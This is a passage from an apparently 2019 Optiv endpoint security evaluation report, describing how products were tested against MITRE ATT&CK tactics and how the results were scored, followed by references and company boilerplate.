The following tactics were tested:• Execution • Persistence • Privilege Escalation • Defensive Evasion • Credential Access • Discovery • Lateral Movement • Collection • Exfiltration • Command and Control

Following the automated execution of the test case, Optiv manually validated each test by searching in-platform for preventions, alerts or telemetry that was directly related to each test. This quasi-threat hunting was assisted by the foreknowledge of the exact test commands that were issued and the time the test started and ended. Using this information, platforms that supported robust query languages could be searched relatively quickly.

It is also important to note that Optiv did not test MITRE Initial Access tactics and the results do not reflect the evaluation of any exploit preventions. Several vendors informed Optiv that their solution leverages the initial introduction of a process in their detection technology, and this may have resulted in missed preventions and detections.

There are several advantages and disadvantages to consider based on executing atomic autonomous test cases:

23

At the conclusion of the atomic technique testing, Optiv ran a series of techniques that the solution did not previously prevent in a logical order, replicating the steps a threat actor might take. This additional test was performed to determine if the solution would interpret the actions differently, given a familiar context.

System Integration This set of use cases focused on the ability of the solution to integrate with security infrastructure for log collection and how the product’s API could be used for event monitoring, file blacklisting, and host quarantine.

Disrupt Security Software This set of use cases focused on determining the extent of anti-tamper mechanisms of the product, given administrative access to the endpoint and acting under the paradigm of a motivated user.

Advantages Disadvantages

• Atomic testing locates discrete gaps in prevention/detection methods that can be further evaluated with a use case that sequentially emulates a threat actor.

• Atomic testing provides a rich data set for evaluating the usefulness of the platform’s threat-hunting capabilities.

• The actions executed in each atomic test case bear no resemblance to a test case constructed to emulate a threat actor, which has both precursor and descendent actions.

• The Verodin agent itself could be flagged as a malicious file, which would add complications to further test case execution.

• The use of a preloaded binary as the remote access Trojan (RAT) for testing fails to measure a solutions ability to prevent exploits.

Performance Tracking Use cases were scored as follows:

• MITRE ATT&CK » Atomic Test Cases

− Prevented: The solution blocked or otherwise did not allow the test to run or complete

− Alerted: The solution detected the test activity and/or the test activity appeared on a MITRE ATT&CK dashboard

− Logged: The solution recorded the specific commands issued for the test and the endpoint telemetry data could be located via search

− Unseen: The solution did not record the specific commands issued for the test and the endpoint telemetry data could not be located via search (Note: some solutions did provide telemetry for events associated with the specific commands issued, such as a file write and deletion, but the specific command was not recorded.)

• Sequence Test Case determined if the chained logical execution of techniques changed the manner in which the solution interpreted the use case activity

• System Integration - scored as pass, partial-pass or fail

• Disrupt Security Software - scored as pass, partial-pass or fail

Figure 12 - Advantages and Disadvantages of Atomic Autonomous Testing

24

1. MITRE ATT&CK. Execution. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0002/

2. MITRE ATT&CK. Persistence. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0003/

3. MITRE ATT&CK. Privilege Escalation. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0004/

4. MITRE ATT&CK. Defense Evasion. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0005/

5. MITRE ATT&CK. Credential Access. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0006/

6. MITRE ATT&CK. Discovery. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0007/

7. MITRE ATT&CK. Lateral Movement. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0008/

8. MITRE ATT&CK. Collection. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0009/

9. MITRE ATT&CK. Exfiltration. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0010/

10. MITRE ATT&CK. Command and Control. Retrieved May 5, 2019, from https://attack.mitre.org/tactics/TA0011/

References

Optiv is a market-leading provider of end-to-end cyber security solutions. We help clients plan, build and run successful cyber security programs that achieve business objectives through our depth and breadth of cyber security offerings, extensive capabilities and proven expertise in cyber security strategy, managed security services, incident response, risk and compliance, security consulting, training and support, integration and architecture services, and security technology. Optiv maintains premium partnerships with more than 350 of the leading security technology manufacturers. For more information, visit www.optiv.com or follow us at www.twitter.com/optiv, www.facebook.com/optivinc and www.linkedin.com/company/optiv-inc.

© 2019 Optiv. All Rights Reserved. Optiv is a registered trademark of Optiv Security Inc.

6.19 | F1.1

Optiv Global Headquarters1144 15th Street, Suite 2900Denver, CO 80202800.574.0896www.optiv.com

Documents

ENDPOINT SECURITY EVALUATION...The ATT&CK knowledge base consists of 11 tactical categories and provides a standardized method to describe the activities of threat actors. Since the